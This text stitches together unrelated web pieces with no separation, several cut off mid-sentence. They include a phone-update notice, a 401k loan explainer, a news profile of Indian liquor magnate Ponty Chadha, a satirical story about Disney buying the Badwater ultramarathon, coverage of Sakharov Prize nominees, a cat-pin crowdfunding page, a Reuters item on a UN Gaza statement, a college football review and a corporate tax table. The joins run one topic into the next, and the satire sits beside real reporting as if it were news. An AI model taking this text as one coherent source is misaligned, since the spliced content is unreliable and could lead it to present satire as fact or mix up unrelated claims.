There are a few other nice additions that Lollipop will bring, so if you own a Note 4, take a look at the PDF that’s linked below. If you’d like to check for the update manually, head to Settings>About phone>Software updates>Check for updates. Since the update is just beginning to roll out today, it might take a few days for your device to get the OTA.So, you’ve found out that you can borrow from your 401k and you’re ready to call your company’s 401k manager and request the maximum amount. After all, it’s your money and you need it now. Your human resources page tells you it’s simple to request and you’re paying yourself back with interest so what’s the harm?
Slow down. It’s not necessarily a bad thing to borrow from your 401k, depending on the reason you need the money. However, you need to know the 401k loan rules before you take out a loan, just as you would need to know the terms of any loan from any institution.
Yes, you are paying yourself back, but in the meantime, the money you have borrowed will not be growing, which is necessary for retirement. So, before you fill out that loan application, make sure you know exactly what you are getting yourself into.
What Are the 401k Loan Rules?
As with any loan, you have to abide by specific terms or you could end up defaulting on the money you owe, giving you more headaches than you had before you borrowed it. Getting more money is supposed to make your life easier and knowing the 401k loan rules before you accept any money will do that. Keep in mind that most financial planners and retirement experts do not recommend that you take out a 401k loan at all. However, if you’re going to go ahead and do it, at least know the rules.
1. There are limits on how much you can borrow. You are limited to a $50,000 loan or half of your balance, whichever is less. You must also agree to start repaying yourself with your very next paycheck, which is accomplished through an automatic deduction.
2. You have to pay the loan back within a certain time frame. Typically, you will be required to pay yourself back within five years from the date you take out the loan. If you are using the money to buy a house, however, the length of the loan could be longer. You will need to contact your 401k manager to find out how long you can take to pay the loan off in a case like this.
3. No credit check is required. This is one of the best parts about the 401k loan rules. You can get it no matter what your credit looks like. You are loaning the money to yourself, so you’re the only one accepting the risk of default.
4. You must pay interest on the loan. Just as you would with any loan from a traditional institution, you will need to pay interest. The good part, though, is that with a 401k loan, you are paying the interest to yourself.
5. There will be no application fees. Since you aren’t going to be denied the loan for any reason, there is no need to charge an application fee.
6. Any money you borrow cannot be invested for |
lifetime. Not a single person was whispering anything negative."
Chadha, 52, and his brother, 10 years younger, were feuding over possession of the farmhouse, inherited from their late father, according to the police account. Delhi police detectives and forensic scientists are still investigating the crime scene, weapons and bullets. They have taken several men into custody, including Sukhdev Singh Namdhari, the former chief of Uttarakhand’s minorities commission, who has lost his job.
Namdhari was present at the crime scene when the shoot-out took place and, it is now claimed by the police, fired the shots that killed Hardeep.
“Ponty Chadha: A life in pictures On Saturday 17 November, liquor baron Gurdeep “Ponty Singh Chadha was killed, alongside his brother Hardeep, in a gun-fight at a family property in South Delhi. HT The farmhouse at 42, DLF Farms, Chattarpur, had been left to the brothers by their father Kulwant Singh, who died last year. They had been fighting in court over its possession. Pradeep Gaur/Mint. The shooting took place outside the gates of the farmhouse, and involved both brothers and their security personnel, who, police say, fired multiple rounds, hitting walls and the gates. Pradeep Gaur/Mint. The Chadha family were refugees from Pakistan and moved to this house in Moradabad after partition. They started a business selling The family soon went into the liquor trade. Today, the Chadha family “Model Wine Shops are everywhere in Uttar Pradesh. Ramesh Pathania/Mint. According to a local person, the family also ran a sugar cane crusher unit in Gajraula in the late 1970s and the early 1980s. This was later converted into a rubber unit that was shut down in 2009. Ramesh Pathania/Mint. During the Emergency (1975-1977), the family moved into the sugar trade, setting up several factories in the area. Ramesh Pathania/Mint. Once the family business started to thrive, the Chadhas moved into a spacious white mansion in the Civil Lines area of Moradabad, where Ponty’s uncle, Narinder “Sweety Singh, still lives. Ramesh Pathania/Mint. Ponty’s father, Kulwant Singh, was the eldest of six brothers. In the beginning, say local people, he and his brother, Harbhajan, were the face of the business. Ponty joined the family enterprise around 1980. Ramesh Pathania/Mint. Within a short span of time, the Chadhas controlled most of the liquor licences in UP. In some areas, say local people, when liquor was sold at rates above market price, the margin was known as “Ponty Tax. Ramesh Pathania/Mint. The Chadha family opened a cinema in Moradabad which still exists. After the creation of the Wave Group, the Chadhas extended their reach into real estate, education, paper, malls and multiplexes and film distribution, including this cinema complex in Noida. Pradeep Gaur/Mint. Though there is no definitive account of what happened, police have taken several men into custody including Uttarakhand politician Sukhdev Singh Namdhari, who, they now claim, fired shots that killed Hardeep. Pradeep Gaur/Mint. ❮ ❯
There has been no definitive account of what exactly transpired at the family farmhouse on the morning of 17 November, but conspiracy theories abound, given Ponty Chadha’s larger-than-life image and presence in businesses ranging from liquor distribution and real estate to films and his behind-the-scenes involvement with politics and politicians, especially in Uttar Pradesh, Uttarakhand and Punjab.
Whatever the truth, the shoot-out brought to national prominence a business family about which very little was known even in northern India, their home turf. Ponty Chadha did not revel in the kind of fame enjoyed by other magnates in the alcohol industry—men such as Vijay Mallya of the UB Group, for example.
The man who controlled more than half the liquor market in Uttar Pradesh, India’s most populous state, was a private person, according to his friends, keeping the business within the tight confines of the family and suspicious of outsiders.
This is the portrait that emerges of Ponty Chadha: he was a paunchy, broad-chested, grizzle-faced man; a warm-hearted person who greeted his friends with bear hugs. He was a giver of extravagant gifts, a family man who didn’t smoke or drink excessively, who wasn’t obsessed by flashy parties or page-three folks, and mainly dealt in cash.
Chadha was an arbiter of disputes, an egoist with a car “like an armoury", a fearsome rival, a protective father, and a man who feared for his life.
But most importantly perhaps, Chadha was a shrewd and manipulative businessman, who ruthlessly outmanoeuvred his competitors and had a vision that could have extended the family trade indefinitely.
Today, the family’s Model Wine Shops are everywhere in Uttar Pradesh, but the Sikh refugees from Pakistan, headed by Chadha’s father Kulwant Singh, started their trade selling snacks from a stall.
After partition, Kulwant Singh, the eldest of six brothers, and his sons settled in Pirumadara village near Ramnagar in Uttarakhand. Two former business associates of Singh, who wanted to remain anonymous, remember the family moving to the town of Moradabad sometime between 1957 and 1960.
“They were very poor," said Ishtiqar Ahmed, a former business partner of Chadha’s youngest uncle, Narender “Sweety" Singh, who still lives in Moradabad, in the spacious white mansion built by the family when times
got better. “His father sold pakoras on a makeshift stall outside a liquor shop in Moradabad. As a kid, Ponty did too."
Kulwant Singh opened his first liquor shop in the Amroha Gate area of Moradabad, according to the two former business associates, who were themselves prominent figures in the district’s liquor trade, but would ultimately lose out to Ponty Chadha.
They remembered other rivals, including a man known only as Totla, who was a big trader and businessman before the Chadhas arrived. “Suddenly, around 1970, Totla vanished. He has never been traced since," said one of them.
Initially, the family partnered with several other businesses, but within a short span of time had eradicated most of the competition, the two associates said. “At first, Kulwant and his brother Harbhajan Singh were the face of the business and, until very recently, most people associated the family with Kulwant," they said.
Liquor was not the only business into which the family ventured. According to a local doctor, who wanted to remain unidentified, the family also ran a sugar cane crusher unit in Gajraula in the late 1970s and early 1980s, which was later converted into a rubber unit that closed in 2009.
During Indira Gandhi’s emergency rule (1975-1977), the family moved into the sugar trade.
“The family went on to establish (sugar) cane factories near Gajraula. They were into all sorts of businesses," said Ahmed. “Ponty owns a paper mill in Bilaspur. They also have an export business in Moradabad. They own a sugar factory in Mandi Dhanara near Gajraula."
When Ponty Chadha, Kulwant Singh’s eldest son, entered the business around 1980, he made an immediate impression, the two former business associates said. “Ponty was well-mannered and had a helping nature. People are indebted to him in many ways," one of them said.
Others have a less-positive recall. “He was a shaitan (devil) since he was a child," said Ahmed. “As a kid, he lost one hand, as it was electrocuted while he was flying a kite and it got entangled in a wire. His hands were badly burnt and one of them had to be amputated."
Some claim the injury was the result of a gun fight, said the family friend cited earlier. “There were two stories," he said, “and frankly, no one had the courage to ask him about it."
Despite the injury, Ahmed said, Chadha was an adept driver, though in later years he would travel in a convoys of Land Cruiser SUVs, imitating “the Arab style", said the friend.
“He was a lord," said a local hotelier, who owns a few small businesses in Gajraula, and whose father was a close business associate of Kulwant Singh between 1984 and 1989. “Ponty was a terror," he said. “He was the single-mind force behind the business and was instrumental in its growth."
Chadha’s family had a tradition of going into business early, it appears. “Ponty’s rise began in the mid 1980s," said the hotelier, who didn’t want to be identified. “Monty (Manpreet— Ponty’s son) began dabbling in business even while he was at school."
As a manager and boss, Chadha wins handsome praise. “His company is very professionally run," said a senior executive at a New Delhi-based commercial real estate development company. “Everything was done in a very transparent way," the person said on condition of anonymity. “All we know of him was he was very good with getting work done and was a go-getter." The executive’s company has worked with Chadha’s Wave Infrastructure in various capacities.
“One good thing about Ponty was that there was not a single person who will say that ‘He owes me money’ or ‘He’s a bad paymaster’," said the family friend. “If he got to know that someone had not been paid by his people, he’d fire the employee and pay the guy double. It was about reputation."
The hotelier agreed. “He was generous, but did not tolerate cheating. If he found (that) someone had bungled, he would remove him immediately."
The combination of an iron fist and velvet glove served Chadha well. “Ponty is a shrewd chap, his employees are faithful to him," said one of the two former business associates cited earlier. “Over time, he created a syndicate in the region and subsumed all liquor traders within his business. We ourselves buy liquor for our bar from his company—we have no choice. His dealings with us have been by and large ethical. I recently met him by chance at the Delhi airport, and the moment he saw me, he hugged me warmly."
The groundwork for the familial franchise that Chadha set up was laid early on. “Ponty began a system of subcontracting called ‘peti-system’ locally, in which the liquor shop was given out to a close confidant to manage and he would take a cut," said the hotelier. “But he would still only trust people from his extended family to sit on the counter and register inventory, etc."
That bias stayed with Chadha to the end. “He’d always involve his family in his business—nephews and nieces would get jobs," said the family friend. “It’s typical godfather style. Somebody comes to him, and he’s bought his loyalty forever with a loaf of bread or a job."
But the obsession with loyalty worked both ways, said the friend. Ponty’s justice was as sure as his protection. “If you are on his right side and he has his hand on your head, you can commit any crime and come back to him," he said, speaking in the present tense of the man who is no more. “But no one could cross him; not even his own blood could get away with it."
Building his monopoly involved a series of deft political manoeuvres by Chadha. In the early 1990s, he became close to then chief minister Mulayam Singh Yadav and began gradually to extend his reach throughout the state.
“When Mayawati came to power (in 1995), everyone thought he would go down," said Ajoy Bose, a journalist and expert on politics in Uttar Pradesh. “His skill, however, was his political neutrality. His modus operandi was different: he would not even meet Mayawati directly. He was not a groupie of the Mayawati government."
Yadav did not respond to phone calls and text messages from Mint. A spokesperson for Mayawati offered no comment.
During Mayawati’s first two terms (June-October 1995; March-September 1997), Chadha grew his business until he was the undisputed king of the Uttar Pradesh liquor trade—and much more besides. A top Bharatiya Janata Party (BJP) politician, who did not want to be named, said that by 2000, Ponty had the ear of the chief minister, and that “the entire state bureaucracy was under his control".
From 2000-01, under the government of the BJP’s Rajnath Singh, that began to change: S.P. Gaur, a former Indian Administrative Service (IAS) officer and then excise secretary, devised a new liquor policy that would hurt the Chadha empire.
“Before, an auction system was in vogue, in which liquor shops for entire districts were auctioned out," said Gaur. “The auction amount for Lucknow was about ₹ 100 crore and that for Kanpur was ₹ 105-110 crore," Gaur said. Various Chadha family members controlled different areas of the state with “geographical monopolies", he added.
“In such a policy environment, no one else was able to stand up to Ponty and his family," said Gaur. “They began controlling policy formation as well. In fact, the government gradually started depending on them." Excise was the second largest chunk of government revenue after state taxes, so the power the liquor barons held was significant.
When Rajnath Singh’s government moved from an auction system to a licence fee structure, in which every shop had a fixed licence fee and the shops were awarded via a lottery instead of auction, things began to change.
“After we put the new system in place," Gaur said, “the maximum income was generated from the liquor that was being issued directly from the brewery. Moreover, liquor produced in Uttar Pradesh came to be sold only in the state and not outside. The lottery system meant that Ponty’s monopoly ended."
By that time though, Chadha had imprinted his personality on the trade.
In some areas, according to a Lucknow-based businessman who did not want to be named, when liquor is sold at rates above the printed price, the extra margin is known as the “Ponty tax".
While business was becoming tougher in Uttar Pradesh, Chadha’s empire was expanding further afield. According to Manpreet Badal, a former member of the legislative assembly from Punjab, a close relationship with Amrinder Singh, who became chief minister of the state in 2002, gave Chadha a passage into Punjab.
“Ponty was brought into Punjab by the then (Akali Dal) excise minister in the state, Adesh Pratap Singh Kairon," Badal said. “He wanted to remove the monopoly of the Garcha brothers, who were the biggest name in the liquor trade in Punjab. By 2001-02, Amrinder Singh came to power and Ponty became close to him."
J.S. Garcha, a former member of the legislative assembly from the Shiromani Akali Dal, from Ludhiana, one of the eldest members of the Garcha family, agreed with Badal. “Amrinder Singh really brought Ponty into the liquor business beginning with Amritsar," Garcha said.
Before Chadha arrived on the scene, Garcha said, his own family had business worth ₹ 90 crore in Ludhiana alone. “The total annual excise collection in Punjab from liquor was to the tune of ₹ 1,400-1,500 crore when Ponty came into the state," Garcha said. “Amrinder ensured that Ponty won the contracts for entire districts and got a monopoly. Ponty would sell at a huge premium."
Amrinder Singh acknowleged that he and Chadha had been “good friends"—the latter once lent him his house in Dubai for a few days, he said, but denied having brought him into the state with the intention of awarding him liquor licences. “There was no monopoly." Singh insisted. “Several people controlled zones in the liquor trade in Punjab."
Amrinder Singh added that the process of handing out contracts had been recorded on camera and “everything was done in a transparent manner. After I finished my term, we became very friendly, I used to go to their house on social occasions very often. I knew both Ponty and Hardeep".
In a repeat of what had happened in Uttar Pradesh, the Akali Dal government in 2007 changed the liquor policy in Punjab to the lottery system, said Garcha, and Chadha’s dominance began to wane.
“Privately, he was a decent chap; he had no personal rivalries," Garcha added. “But he was very shrewd when it came to money."
Though Chadha would later wrest back control of the liquor market in Uttar Pradesh, he continued to spread his business interests. The creation of the Wave Group of companies was an important part of the transition from the liquor trade to the identity of a conglomerate, which, apart from the liquor and sugar businesses, has diversified interests across real estate, education, paper, malls and multiplexes, and film distribution.
The Chadha group also held a ₹ 5,000 crore contract to supply mid-day meals in Uttar Pradesh under the Integrated Child Development Services and the Rajiv Gandhi Scheme for Empowerment of Adolescent Girls, the news site firstpost.com reported on 20 November. NDTV, in a report on 18 November, estimated Chadha’s total worth at ₹ 20,000 crore.
Prominent group companies include Wave Industries Pvt. Ltd (which had net current assets worth ₹ 402 crore as of March 2011, according to filings with the Registrar of Companies) Wave Infratech Pvt. Ltd ( ₹ 302 crore), AB Sugars Ltd ( ₹ 164.7 crore), True Value Foods Pvt. Ltd ( ₹ 17.7 crore) and Uppal-Chadha Hi-Tech Developers Pvt. Ltd ( ₹ 411 crore).
The details of Wave’s genesis are a little hazy. Its website harks back to the Moradabad days, claiming the group was established “by S. Kulwant Singh Chadha" back in 1963. “The business has been developed over time through strategic investments in services and technologies," the company website says.
But the creation of the Wave brand came much later. According to information available with the corporate affairs ministry, one of the earliest group companies to be incorporated was Chadha Sugars Pvt. Ltd, in 1997. It was later renamed Wave Industries in 2008. Another group company, AB Sugars, was also incorporated in 1997. Other group companies including Wave Infratech and Wave Beverages were incorporated between 2004 and 2008.
On 21 November, citing the same filings, Business Standard newspaper reported that in February 2012, Hardeep had vacated the office of director in Wave Industries, for being absent from successive board meetings.
In 2007, Wave Infratech was awarded 152 acres of real estate in sectors 32 and 25A of Noida for its Wave City Centre project. Manpreet “Monty" Chadha, now the joint managing director of the Wave Group, compared the commercial-residential hub to “Manhattan, New York" in a television interview.
Manpreet was not involved in the liquor business, according to the family friend. Chadha wanted his heir to focus on bringing “professionals into the business—MBAs, foreign architects, trying to give it a corporate feel. He kept his son away from the shady things. He knew the end was not going to be good".
Manpreet Chadha, 32, declined to speak to Mint for this story.
The new brand didn’t offer immunity from uncomfortable questions, however. Earlier this year, a report by the Comptroller and Auditor General of India (CAG) questioned the divestment of 21 state government-owned sugar mills by the Mayawati government between 2007 and 2011. These mills were owned by Uttar Pradesh State Sugar Corp. Ltd (UPSSCL) and Uttar Pradesh Rajya Chini Evam Ganna Vikash Nigam Ltd (UPRCGVNL).
The CAG accused the government of having rigged the tendering process in favour of several private bidders including Wave Industries. It also found that Wave Industries and another competitor for the mills, PBS Foods Pvt. Ltd, had common directors, and documentation containing the same addresses. The CAG said the state exchequer had suffered a ₹ 1,179 crore loss.
But the favours he handed out and his connections still kept Chadha popular with the people he needed to impress. “For Diwali, he’d buy thousands of watches...Rolex, Omega... and give them out," said the family friend. “Everyone would be wearing the same model. They’d see the watch and everyone would know. You may not wear an earring or a belt all the time, but you wear a watch every day, especially if you are a politician. He had a humongous cash flow. You’d say, ‘What a nice phone!’ and he’d say, ‘Take it’, or the next day there’d be one in a box sent to you. But then he wasn’t comfortable in suits really. Nothing flashy."
When the income-tax department raided several of Chadha’s businesses in February this year, the media expected to see evidence of the vast stores of black money that he had allegedly amassed. However, although the tax officials initially claimed to have found cash to the tune of ₹ 100 crore, it subsequently appeared that no money at all had been found, prompting suspicions that the company had been tipped off and scrubbed its properties clean.
S.S. Rana, the official who headed the raid and was transferred afterwards, declined to speak to Mint for this story.
Ponty and Hardeep Chadha were increasingly in the spotlight after the raid, however, and their dispute over the inherited property became more heated. “It was all about ego," said the friend, referring to Chadha’s anger at a court ruling that awarded No. 42, DLF Farms, Chattarpur, where the shooting took place, to his brother.
“People would go to Ponty for settling disputes, out of fear or just because of his overawing persona. Then how did the court give the property to his brother? Who is the court to decide? He’d been dispensing justice for so long that he got this feeling of superiority."
The most pressing issue now is the future of the Chadha business empire after the loss of its patriarch. All Wave multiplexes and malls closed for two days immediately after the shooting, said Amar Sinha, executive director of the Wave Group, as a mark of respect to the late chairman.
Although Sinha said nothing has yet been decided, the likely candidates to take over as the new chairman include the third Chadha brother and managing director of the Wave Group, Rajinder Chadha, who has maintained a relatively low profile over the years, and Manpreet Chadha.
After the shooting, Sinha said, Wave released a print advertisement to reassure shareholders who had been shaken by the news of the shooting. Under the banner “We stand strong. We stand committed," the ad (which also ran in Mint) talked about “continuing with the lineage and heritage of excellence", and extolled the experience and ability of both Rajinder and Manpreet. “And the journey continues," it read.
The journey for the liquor industry continues, too. Uttar Pradesh’s wholesale liquor licences are due to be renewed on 31 March 2013, and rivals to the Chadha supremacy may sense an opening. “Now that he is gone, the syndicate will be broken and others with again try entering the liquor trade," said one of the former business associates cited above. Whether they succeed or not will depend on the junior Chadhas’ ability to both extend and move away from the legacy of the man who made their names. For now, nothing has been decided, said Sinha.
“We are still in mourning"In a surprise announcement capping off their 21st annual Walt Disney World Marathon Weekend on Sunday, officials at runDisney said they have reached a deal to acquire the Badwater 135 endurance race.
“Gawrsh!” said Goofy, a spokesman for runDisney. “We sure are pleased to add ‘the world’s toughest foot race’ to our roster of world-class running events!”
Added Donald, a fellow spokesman and comic foil, “I think I’ll stick to 5Ks! If I tried to run 135 miles in temperatures reaching 120 degrees, this duck would roast!”
The Badwater 135—known among most runners as simply “Badwater”—is a famously brutal race, starting in California’s Death Valley (282 feet below sea level) and finishing 135 miles later on Mount Whitney (8,360 feet in elevation). Even seasoned ultramarathon runners find it difficult; last year, 96 runners started the race and 81 were official finishers.
Disney's announcement comes just weeks after Death Valley National Park declared a moratorium on running and cycling races while it studied the safety of such events and their impact on other park visitors.
While the acquisition may raise eyebrows in the ultra running community, runDisney acknowledged, the move represents a logical next step for an organization that already operates seven enormous running events that include races from 5K to full marathon. And then there’s the “fun factor,” where Disney is indisputably a master.
“Have ya seen photots from this Badwater thing?” Goofy asked. “Dullsville!”
“I’ll say!” said Donald, quacking. “It’s just sand and blackbrush and asphalt! What that race course needs is some…”
“MAGIC!” said Mickey Mouse, appearing from behind a curtain to great applause. “Ha ha! Hi, everybody!”
According to a news release, here are a few changes that runDisney has in store for Badwater:
Disney-branded goodies including long-sleeved technical race shirts and “Tinkerbell wing” hydration packs.
Photo opportunities with your favorite Disney characters at miles 2, 5, 8, 12, 14, 18, 20, 23, 26, 30, 33, 37, 40, 44, 46, 50, 53, 58, 62, 65, 69, 74, 77, 80, 85, 88, 92, 95, 98, 100, 103, 107, 110, 115, 118, 121, 125, 128, and 133.
Bands at miles 5 and 100.
Personalized bibs.
Fireworks at the start.
“Wave starts” to accommodate as many as 25,000 athletes.
Pasta dinner.
In addition, the event’s tough qualifying standards are being eliminated.
“We want everyone to enjoy this weekend of fun,” said Mickey. “The more, the merrier! Ha ha!”
Officials hinted strongly that the 2015 Disney Badwater may include additional events, such as a 5K “fun run,” 10K race, and “Half-Badwater” of 67.5 miles. Runners who tackle the “Big Bad Water Challenge,” completing all four events over four days, will earn a special medal.
“See ya in Death Valley!” said Mickey. “It’ll be ultra-magical!”
“Gawrsh!” added Goofy.“Candidates this year are linked to a number of sensitive questions: corruption, the abuse of power, freedom of thought and expression, female emancipation. These are all causes which we consider to be extremely important”, said Romanian EPP member, Mr Cristian Dan Preda Human Rights sub-committee vice-chair said when opening the session.
The nominees for 2015 Sakharov Prize
Raif Badawi, a Saudi Arabian blogger and author of the website Free Saudi Liberals, who was sentenced to 10 years in prison, 1000 lashes and a hefty fine for insulting Islamic values on his website. Badawi was nominated by S&D, ECR and Greens/EFA.
“I can’t imagine that someone here today could be bound in public and lashed just for being brave and expressing their own opinion. By nominating Raif Badawi we want to honour all of those who are fighting for freedom of expression in the world”, Italian MEP Pier Antonio Panzeri (S&D) said.
Anna Fotyga, Polich member for the ECR explained that "the ECR group supports the candidacy” while Tamás Meszerics (Greens, Hungary) said that as a blogger in one of the most repressive systems in the world, Badawi is a symbol for the fight for freedom of speech. “Europe cannot stay silence anymore when individuals face torture or death merely for expressing their ideas in Saudi Arabia.”
Political prisoners in Venezuela as as well as the democratic opposition in Venezuela, embodied by the Mesa de la Unidad Democrática, an election coalition formed in 2008 to unify the opposition to president Hugo Chávez's political party. Nominated by the EPP and ALDE MEPs Dita Charanzová and Fernando Maura Barandiarán.
On behalf of the EPP group in Parliament, Spanish MEP Luis de Grandes Pascual said “while the government (in Venezuela) was democratically elected, at the moment it is exercising a totalitarian control on the population. This collective group is part of the democratic opposition in Venezuela; they are struggling and fighting to exercise their rights”
Fernando Maura Barandiarán (Spain) said that awarding the Sakharov Prize to the democratic opposition would be a way of supporting and providing some protection to the movement.
Click here for more news from the EP
Edna Adan Ismail, a Somali activist for the abolition of female genital mutilation and a former government minister. She is the director and founder of the Edna Adan Maternity Hospital in Hargeisa in Somaliland (Somalia). Nominated by EFDD.
James Carver (EFDD, UK) said “Alongside many of her kinsmen, Edna literally rolled up her sleeves (…) transforming her homeland into a rare success story on the horn of Africa. (…) Her persistence and determination has led to outstanding improvements in the role of women in modern Somaliland society.”
Boris Nemtsov a Russian physicist, former deputy prime minister and opposition politician who was assassinated in Moscow in February 2015. Nominated by ALDE.
Urmas Paet (ALDE, Estonia) described Nemtsov as “A leading personality of the Russian civil society who worked for a democratic, prosperous and peaceful Russia. (…) As an opposition leader and civil society activist he worked to expose corruption and abuse of political power in Russia. (…)And he paid for it with his life.”
Nadiya Savchenko, a Ukrainian military pilot and a member of the Verkhovna Rada and of Ukraine’s delegation to the Parliamentary Assembly of the Council of Europe, who was captured on 18 June 2014 and illegally transferred to Russia. Nominated by ECR.
Anna Fotyga called her “an outstanding woman” and a “symbol" of the more than 150 other prisoners taken by Russia following the annexation of Crimea.
Three whistle-blowers: Edward Snowden, a computer expert who worked as a contractor for the US National Security Agency and leaked details of its mass surveillance programmes to the press; Antoine Deltour, a former Price Waterhouse Coopers auditor who revealed secret tax rulings with multinational companies in Luxembourg to journalists; and Stéphanie Gibaud who uncovered tax evasion and money laundering by UBS AG. Nominated by GUE/NGL.
German GUE/NGL member Fabio de Masi said that “they lifted the veil and is not right for them to be denied their rights, or face prison sentences”.
The Sakharov Prize
The Sakharov Prize for Freedom of Thought is awarded each year by the European Parliament. It was set up in 1988 to honour individuals and organisations defending human rights and fundamental freedoms. Last year the prize was awarded to Denis Mukwege.
Nominations for the Sakharov Prize can be made by political groups or by at least 40 MEPs. Based on the nominations, the foreign affairs and development committees vote on a shortlist of three finalists. After that the Conference of Presidents, made up of the EP President and the leaders of the political groups, select the winner.Welcome Art Lovers and Crazy Cat People! I'm Kim a mom of 1 boy and 3 cats. I design enamel pins for a living and this is my newest project!
All pins and free pins with each order now unlocked! Also free holographic sticker with each pledge.
Cats--we have a love/hate relationship with them because they drink the milk in our cereal before we are finished, they destroy our furniture, sit on our keyboards and hack up hairballs. Yes, cats are definitely a work of art and therefore I have decided to make a series of cat enamel pins in the style of various famous artists.
All Pins are:
Soft gold enamel
Size: 1.5" round
2 pin backs with rubber clutches
On backing cards with store coupon
Throughout the campaign more pins will be unlocked through stretch goals. There is one initial goal to fund Andy Warpaw and 3 stretch goals to unlock Vincent the Evil Genius, Prime and Sydney Pawlock. You may change your pledge any time during the campaign to increase or decrease your pledge.
Let's meet the kitties!
Andy Warpaw
Andy Warpaw ($200 GOAL) - A hacking crazy cat that cuddles you one moment and then surprises you with a disgusting present on the floor when you get out of bed in the morning. Inspired by Andy Warhol and my morning ritual of hairball removal, this pin gets funded when $200 is raised. NOW FUNDED!!!
Vincent the Evil Genius
Vincent the Evil Genius (NOW UNLOCKED) - He seems friendly enough but rest assure, Vincent will tear up everything you own until it looks like your home is an unfinished crochet project. Vincent is based on my deaf 16-yr old cat, Jynx and 2-yr old cat Prime who is currently shredding a chair. And of course, the style is inspired by Van Gogh.
Sydney Pawlock
Sydney Pawlock (NOW UNLOCKED) - Sydney Pawlock is a total sweetheart as long as you keep her fed. Turn your back for a second and even though you swear she was upstairs asleep, she is now head deep in your cereal and lapping up your milk. This pin is based on my rotund tortie cat Sydney in the style of Jackson Pollock.
Prime
Prime the Business Cat (NOW UNLOCKED) - Prime is always calculating his next move... while sleeping on your keyboard. It doesn't matter if you have things to do, so does he and it involves hopping right back up on the keyboard immediately after you push him off. This cubism design unlocks at $600 raised and is based on a photo I took of my cat last week.
Check out my previous pin designs on Instagram @heremeow or visit my store at heremeow.bigcartel.com to see my portfolio of pins!
Unlock Free Pin Choices!
When the first stretch goal is unlocked free pins for ALL BACKERS will also be unlocked! Everyone will get to choose one of the pins below to be included for free! It's just my way of saying thanks! These include 2" My Pin Collection in purple or blue, moving David Tennant Doctor Who, moving drinking bird, opening treasure box pins! Free pins now unlocked!!UNITED NATIONS (Reuters) - The United States blocked on Tuesday a U.N. Security Council statement condemning the escalating conflict between Israel and the Palestinians in the Gaza Strip, setting the scene for a possible showdown between Washington and Russia on the issue.
The United States opposed the statement - which had to be approved by consensus - because it “failed to address the root cause” - missile attacks by Hamas - of the escalation in fighting between Israel and Hamas militants in Gaza, said Erin Pelton, spokeswoman for the U.S. mission to the United Nations.
Israel said it was these Hamas rocket attacks that prompted its major offensive against the militants in Gaza on Wednesday.
“We made clear that we would measure any action by the Security Council based on whether it supported the ongoing diplomacy toward de-escalation of violence and a durable outcome that ends the rocket attacks on Israeli cities,” Pelton said.
“By failing to call for the immediate and permanent halt to rocket launches from Gaza into Israel, this press statement failed to contribute constructively to those goals,” she said. “As such, we could not agree to this statement.”
Russia said on Monday that if the 15-member council could not agree on a statement then it would put a resolution - a stronger move by the council than a statement - to a vote later on Tuesday to call for an end to the violence and show support for regional and international efforts to broker peace.
A resolution is passed when it receives nine votes in favor and no vetoes by the five permanent council members - Russia, China, Britain, the United States and France. Some diplomats said a vote on the Russian resolution would likely be tight and could force a veto by the United States.
The Security Council is generally deadlocked on the Israeli-Palestinian conflict, which U.N. diplomats say is due to U.S. determination to protect its close ally Israel. The council held an emergency meeting last Wednesday to discuss the Israeli strikes on Gaza but took no action.
U.S. Secretary of State Hillary Clinton headed to the region on Tuesday to try to calm the conflict.
Egypt was trying to broker a truce between Israel and Hamas. An Egyptian intelligence source said “there is still no breakthrough and Egypt is working to find middle ground.” Israeli air strikes and Palestinian rocket fire continued on Tuesday for a seventh day.2013 Review:
Kirk asked me to review the running back position in 2013 as part of this series. Ok.
Spectacular.
That was easy. Of course, when your program is graced with a record-setting, Doak Walker candidate, top NFL draft prospect like UW was with Bishop Sankey, things are that easy. When your program is inspired by the comeback story of not one but two admired veterans like Jesse Callier and Deontae Cooper, things are sententious. When your program is given a glimpse of what the future may hold with some of the thunderous runs demonstrated by the likes of Dwayne Washington, things are voltaic. And |
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1,295,697 0.8 10.6 ROYAL AUTOMOBILE ASSOCIATION OF SOUTH AUSTRALIA INC 265,825,329 20,483,720 2,249,350 0.8 11.0 ATCO AUSTRALIA PTY LTD 267,701,486 19,073,054 2,245,953 0.8 11.8 INCHCAPE AUSTRALIA LIMITED 1,237,044,671 80,124,636 10,299,551 0.8 12.9 KELLOGG AUSTRALIA HOLDINGS PTY LIMITED 482,706,813 23,943,201 4,061,946 0.8 17.0 KNORR-BREMSE AUSTRALIA PTY LTD 200,033,105 8,556,324 1,605,244 0.8 18.8 PRIXCAR TRANSPORT SERVICES PTY LTD 169,736,787 7,000,184 1,356,746 0.8 19.4 AUTOMATIC DATA PROCESSING LIMITED 127,525,824 5,467,094 1,062,248 0.8 19.4 ARYZTA HOLDINGS ASIA PACIFIC PTY LIMITED 139,206,734 5,947,174 1,161,328 0.8 19.5 SKILLED GROUP LIMITED 1,757,316,680 67,069,823 13,686,663 0.8 20.4 GLAXOSMITHKLINE HOLDINGS PTY LTD 1,467,076,449 57,973,641 11,932,592 0.8 20.6 PACT GROUP HOLDINGS LTD 391,322,935 12,987,951 3,037,733 0.8 23.4 CROWE HORWATH AUSTRALASIA LIMITED 333,900,780 9,569,984 2,700,816 0.8 28.2 DYSON APPLIANCES (AUST) PTY LIMITED 187,611,971 5,421,286 1,587,549 0.8 29.3 BUNZL AUSTRALASIA LIMITED 708,256,050 19,489,189 5,839,230 0.8 30.0 LEGO AUSTRALIA PTY LIMITED 154,268,087 3,864,951 1,159,485 0.8 30.0 ACTION DRILL AND BLAST PTY LTD 110,072,982 3,033,504 910,051 0.8 30.0 CHRISCO HAMPERS AUSTRALIA LIMITED 148,785,542 4,128,444 1,238,533 0.8 30.0 GLOBAL CONSTRUCTION SERVICES LIMITED 161,302,997 4,058,987 1,217,696 0.8 30.0 ENSIGN (AUSTRALIA) HOLDINGS PTY LTD 364,288,677 9,289,560 2,786,868 0.8 30.0 BSH HOME APPLIANCES PTY LTD 193,343,649 4,989,970 1,496,991 0.8 30.0 COLAS AUSTRALIA GROUP PTY LTD 352,533,142 9,121,490 2,736,447 0.8 30.0 PUMPKIN PATCH ORIGINALS LIMITED 118,590,506 3,344,133 1,003,240 0.8 30.0 KONICA MINOLTA BUSINESS SOLUTIONS AUSTRALIA PTY LTD 210,250,249 5,853,529 1,756,059 0.8 30.0 MITSUBISHI ELECTRIC AUSTRALIA PTY LIMITED 287,129,641 7,573,952 2,272,186 0.8 30.0 NETAPP AUSTRALIA PTY LTD 185,758,463 5,166,179 1,549,854 0.8 30.0 HSE GROUP HOLDINGS PTY LTD 124,345,309 3,496,265 